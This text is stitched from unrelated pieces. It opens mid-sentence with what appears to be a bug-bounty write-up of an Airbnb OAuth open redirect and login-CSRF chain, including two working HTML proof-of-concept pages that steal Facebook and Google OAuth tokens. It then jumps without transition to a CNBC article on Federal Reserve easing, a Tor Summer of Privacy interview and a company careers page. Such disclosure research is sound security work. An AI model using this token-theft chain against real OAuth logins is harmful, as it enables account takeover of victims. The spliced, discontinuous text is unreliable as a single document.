. They are a dying breed, mainly legacy applications are still vulnerable. This is a good thing. Theft of access_token can also result in authentication bypass. Quite often, websites of service providers use the “authorization code” flow to perform a login, but their mobile application utilizes locally stored access_tokens of the identity providers. Simply by replacing the stored access_token on a rooted mobile phone with a stolen access_code from a victim, an attacker can authenticate as a victim on the service provider’s mobile app instead. This is not a good thing.
Airbnb case
In the case of Airbnb, no tampering of redirect_uri’s for both the Airbnb apps for Facebook and Google was allowed, only a list of localized Airbnb sites was permitted here. However, the Airbnb mobile application did use an identity provider’s long-term access_token to authenticate a user transparently under the hood, which gave us means to increase the impact to authentication bypass, in case we were able to steal an access_token.
Open redirect in OAuth endpoint
If an unauthenticated user browsed to a page on www.airbnb.com that required authentication (e.g. https://www.airbnb.com/users/edit), he/she was redirected to the login page. However, after successfully logging in, the user was automatically redirected back to the original page he/she requested initially. This functionality was implemented through Airbnb’s redirect_params controller, which was not found vulnerable for external open redirect vulnerabilities.
However, if the user was already logged in to Airbnb when returning from an identity provider, the /oauth_callback endpoint would automatically redirect the user based on the HTTP Referer header in the initiating OAuth login call to /oauth_connect. This redirect-back-after-login functionality in the OAuth flow while already being logged in was thus solely based on the HTTP Referer header, which can be controlled by an attacker by design.
The vulnerability is demonstrated in the PoC video below. First, we open two airbnb.com/login browsers. In the first, we try to reach /users/edit, which results in extra redirect_params controller GET parameters being added to our URL. After successfully logging in in the first Airbnb browser tab, we now again “Log in with Facebook” via the second browser tab. By manually changing the HTTP Referer header in the call to https://www.airbnb.cat/oauth_connect and then successfully logging in on Facebook, the user will end up on the changed Referer value’s website eventually. Important to note is that the user must be successfully logged in in order for the final redirect to proceed.
Of course, this movie only demonstrates the root cause of the vulnerability, not a practical exploitation. For that to succeed, an attacker must achieve three additional things: forge a request to the vulnerable endpoint with an arbitrary HTTP Referer header (1) while being authenticated to Airbnb (2) and get some sensitive data such as OAuth tokens in the URL (3) to effectively steal something useful. Making a request to the vulnerable endpoint with an arbitrary HTTP Referer header is quite easy: Simply embedding an external resource in a web page under the attacker’s control will make the browser send the Referer header with value this website’s page automatically.
OAuth Login CSRF & OAuth token theft
The not-so-precious-anymore OAuth authorization code value, which is communicated back in GET parameters to the Airbnb endpoint by Facebook & Google, gets lost during the redirections. However, both identity providers also offer communication of access_tokens via an URL fragment (the part after a hashtag in a URL) as opposed to URL parameters. URL fragments only exist on the client-side and are properly preserved by the browser during redirects and accessible from JavaScript, even by the last page in the redirection chain which is on a completely different origin. However, there are some additional problems:
If we want to retrieve URL fragments from the identity providers to steal later on, we must be able to modify the OAuth request call to the provider (add “token” to the response_type parameter). However, this request is sent only after the initiating call to Airbnb OAuth endpoint https://www.airbnb.cat/oauth_connect in which the open-redirect-via-HTTP-referer-header exists, which is necessary for the overall attack.
Airbnb’s callback endpoint expects an authorization code via a URL GET Parameter from the identity provider. However, when receiving a URL fragment instead, it will consider the authentication attempt invalid and hence not perform the final redirect, since we are not logged in.
These two issues were both solved by exploiting a Login CSRF vulnerability via the same OAuth endpoint, as an OAuth login is initiated via a forgeable GET call to https://www.airbnb.cat/oauth_connect. An attacker first transparently logs in his/her victim unknowingly to their own Airbnb account via an identity provider, hereby planting the redirection seed via the HTTP Referer header. Now the victim is authenticated to Airbnb. Note that there was proper OAuth CSRF protection in place (“state” parameter), but since we are authenticating the victim into his/her own account, this does not prevent anything here.
What is peculiar is that any additional OAuth authentication flow that follows will follow exactly the same path, regardless of whether it was successful or not! Now, when the attacker again forces the victim to make an additional Login via Facebook/Google but with response_type code,token as opposed to the normal code, the redirection flow of earlier will still work. Concretely, since we are still logged in, a redirect to the arbitrary HTTP Referer header’s value planted earlier will occur, this time with the URL fragments containing the victim’s identity provider OAuth tokens.
Two PoCs were designed, one for each identity provider. The idea is exactly the same:
Victim is authenticated to Facebook/Google in browser tab and has an Airbnb account linked to them, but is not necessarily logged in to Airbnb. Victim opens a website under the attacker’s control (https://www.arneswinnen.net/airbnb.com.<IDP>.html in the POC video) The attacker’s website will first unknowingly login the victim to Airbnb. In order not to interfere with potentially existing Airbnb sessions (in case the victim is currently browsing Airbnb), we chose to use the www.airbnb.cat localized domain in this PoC. By performing this login CSRF from the attacker’s owned website, the HTTP Referer header in the request to the Airbnb OAuth login endpoint will hold the value of the attacker’s website, hereby planting the seed. Once the victim is unknowingly logged in to www.airbnb.cat, the attacker now makes another Airbnb OAuth authentication request on behalf of the victim. However, this time the request is directly made to Facebook/Google (2nd step in normal OAuth flow), hereby allowing the attacker to set the response_type of the token to “code,token” (URL Fragments) as opposed to “code” (URL Parameters). Note that we keep the exact same value for the redirect_uri parameter. Since the victim is currently logged in and the previously injected redirect to https://www.arneswinnen.net/airbnb.com.<IDP>.html is still valid, the OAuth tokens in the URL Fragments of the IDP response will end up on the attacker’s website. Here, a simple JavaScript statement can read the URL Fragment in the browser, and effectively steal the OAuth values for both “code” and “token”.
An attacker now gained two things:
“code” OAuth token, which can be used to authenticate to airbnb.com as the victim. This is because the redirect_uri has not been changed during our attack, we only changed the communication of it from a GET parameter to an URL fragment (see step 4).
“access_token” OAuth token, which can be used to query information of the victim at the Identity Provider and authenticate as the victim user on the Airbnb mobile application.
Below you can find the source code of both HTML files hosted on https://www.arneswinnen.net during the PoC – they have been removed now.
airbnb.com.gmail.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <!DOCTYPE html> <html> <body> <script> if ( window . location . hash ) { alert ( window . location . hash ) window . stop ( ) // Fragment exists } </script> <object id = loginpage data = "https://www.airbnb.cat/login/" onload = "alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=google_login&service=google');" > </object> <object id = googlepage width = "400" height = "50" onload = "alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://accounts.google.com/o/oauth2/auth?response_type=code,token&access_type=offline&client_id=622686756548-j87bjniqthcq1e4hbf1msh3fikqn892p.apps.googleusercontent.com&state=WCTSVKIWPIXNFWEBRUIBNBJGJPYIJN&scope=profile+email&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';" > </object> </body> </html>
airbnb.com.facebook.html 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html> <html> <body> <script> if ( window . location . hash ) { alert ( window . location . hash ) window . stop ( ) } </script> <object id = loginpage data = "https://www.airbnb.cat/login/" onload = "alert('Login page loaded. Now attempting login'); document.getElementById('googlepage').setAttribute('data', 'https://www.airbnb.cat/oauth_connect?from=facebook_login&service=facebook');" > </object> <object id = googlepage width = "400" height = "50" onload = "alert('Logged in & Referer header set. Now redirecting to steal the token!'); window.location = 'https://www.facebook.com/dialog/oauth?response_type=code,token&client_id=138566025676&state=EQITJNHFHJYYDTBPYSQWSAFDLXHGLR&scope=email+user_birthday+user_likes+user_education_history+user_hometown+user_location+user_friends&redirect_uri=https%3A%2F%2Fwww.airbnb.cat%2Foauth_callback';" > </object> </body> </html>
Timeline |
The Federal Open Market Committee will likely say it would buy assets such as mortgage-backed securities and U.S. Treasurys when it meets for a two-day meeting starting Tuesday, Jan Hatzius, the investment bank’s Chief U.S. Economist said in a report on Monday.
“We would be quite surprised if we saw no easing this week,” Hatzius wrote in the report.
The Federal Reserve may also extend Operation Twist, he added, although he does not find the “strategy very attractive.” The program – which involves the Fed selling medium-term bonds and using the proceeds to buy longer-term ones, such as 10-year Treasurys, effectively driving down longer-term interest rates – runs out at the end of June.
“We believe that an extension of Operation Twist could well be insufficient on its own and could thus be followed by additional easing action before long,” Hatzius said.
Instead, a “sufficiently large program” that involves mortgage-backed securities would help, he said, adding that while “it is unlikely to be very powerful, that doesn't mean Fed officials shouldn't do it.”
“The risk of inflation is remote, and even when it becomes less remote Fed officials should be easily able to tighten policy sufficiently,” Hatzius wrote.
In addition, the Fed could opt for unconventional means such as promising not to raise rates until the unemployment rate has fallen to a specific level and a nominal GDP level target, according to the report.
While analysts agree that the U.S. economy faces deep problems, not everyone is expecting measures beyond extending Operation Twist.
“I think it probably wants to save some bullets for later on in the year, once we get some clearer sense of where Europe is going and the impact that it has,” Rob Rennie, Global Head of FX Strategy with Westpac Bank in Sydney, told CNBC Asia’s “Squawk Box” on Tuesday. “So our expectations are only for an extension of Operation Twist, no more.”
Gerald Hanweck, Professor of Finance at George Mason University, said what’s more likely to happen is that the Fed would hold off on easing until the next meeting.
“I think the Fed has pretty much spent its bullets. It’s run out of steam; its QEs are having less and less impact on the real economy,” Hanweck told CNBC. “There are members who are really not in favor of having any more expansion, any more quantitative easing, including Operation Twist. So it is very likely that what might happen is they’ll put it off until the next meeting because they’re supposed to be done with the current operation Twist by the end of June.”
Tax cuts to help individuals and the corporate sector, as well as incentives to get businesses to invest are what will help the U.S. economy, Hanweck said. The Fed could also adopt “extreme” measures such as boosting demand for corporate bonds.
“It can buy, if it wants to go to an extreme, it can start buying short-term commercial paper. And that’s certainly one of the areas where it has an option. It’s an extreme option but they could do it,” he added.
- By CNBC's Jean Chua. |
Donncha O'Cearbhaill is one of Tor's new Summer of Privacy students. We asked him about his plans for the summer.
1. Why are you interested in working on Free software?
I'm delighted to be able to contribute back to the Free software community which has provided me with so many of the tools and systems I use daily. It's reassuring to know that any software that I write for the Tor Project will always be available for people to use, modify, and redistribute.
2. Describe your project to a lay reader--How will it work, and who will it help?
Most large web services distribute the requests to their sites across multiple servers so as to better handle the load from their users. However, at present, Tor onion (hidden) services are limited to routing all their traffic via Tor running on a single server. This is becoming a bottleneck for popular hidden services and is causing difficulty in growing to more users.
My project aims to implement a tool that will allow onion service operators to distribute connections to their services across multiple back-end servers. For users, I hope this will allow their favourite services to become faster and more reliable.
As a bonus, the project should allow operators to further increase the security of the services by allowing private keys to be stored away from the computer hosting their actual onion service / website.
3. What do you hope to get out of the Tor Summer of Privacy?
I've really enjoyed my interactions with the Tor community over the past few months. Over the summer, I hope to provide something of value and give back to the community. As I don't have a formal computer science background, I'm also looking forward to working with my mentors to improve the standard of my software design and development and generally gain more experience.
4. Who are your heroes--if you have any--in internet freedom software?
The work of many people in the Internet freedom community inspires me. I'm particular grateful to people such as Edward Snowden, Julian Assange, and Jeremy Hammond who have made massive sacrifices to try to bring light to the expanding surveillance state.
I'm inspired by the free software developers and advocates everywhere who continue trying to doing something about it.
5. Where do you go to school and what are you studying?
I'm just finishing my degree in Medicinal Chemistry in Trinity College, Dublin, Ireland. My exams run over the next few weeks and after that I'm looking forward to hacking on some code rather than molecules.
6. Anything else you'd like to say?
I'd like to thank the Tor Project for accepting me into Summer of Privacy program, and thank all in the Tor community for being so welcoming to me so far. |
Imagine yourself walking in each morning to a group of friends who are glad to see you, as well as you them. Communication is free-flowing and your voice and opinions are taken into consideration and not disregarded. A shared passion for moving geo-spatial technology forward permeates the environment. This is GEO Jobe. GEO Jobe’s continual goal is to expand and advance the use of geo-spatial technology for the benefit of those around the globe. We are always seeking the best, brightest, and most passionate in the geo-spatial technology industry to join our team. We invite you to look around our site to get a better understanding of our passion and how you can become a part of it.
“When ideas are heard and communication is open, team growth and goal achievement naturally follow. Bringing someone onto our team isn’t a one-way street where we just expect a person to work for us. GEO Jobe, as a company, is just as responsible for the growth and development of our employees, it works both ways. I invite all who have a passion for geo-spatial technology to apply when we have positions available.” – Neill Jobe, Founder / CEO, GEO Jobe
Sorry, we currently have no available positions but keep checking back, you never know when that might change!
GEO Jobe is the industry leader in ArcGIS Online development. We typically would seek out individuals with knowledge in programming as well as some or all of the following experience:
developing Web Mapping Applications on top of the Esri stack
a deep understanding of JavaScript and Web Application development
able to acquire expertise in the geospatial field on the job
JavaScript / HTML / CSS
Knowledge of Best Practices in Responsive Design
ArcGIS JavaScript API
Dojo Toolkit
Web AppBuilder for ArcGIS Custom Widget Development
ArcGIS REST API (Particularly Item Management Aspects)
A Deep Understanding of ArcGIS Online
Experience Using Version Control Systems with a Team (i.e: GIT, SVN, etc..)
Understanding of Software Architecture Principles and Patterns
A Strong Understanding of Asynchronous Programming
To Apply
If you want to send us your resume to keep on file, feel free to do so, although we suggest you keep checking back for specific openings – Good Luck
GEO Jobe
E-mail: [email protected]
Note to Foreign Applicants – U.S. citizen or authorized employment clearance is required. Sorry, but we will not petition for a Visa on your behalf. |
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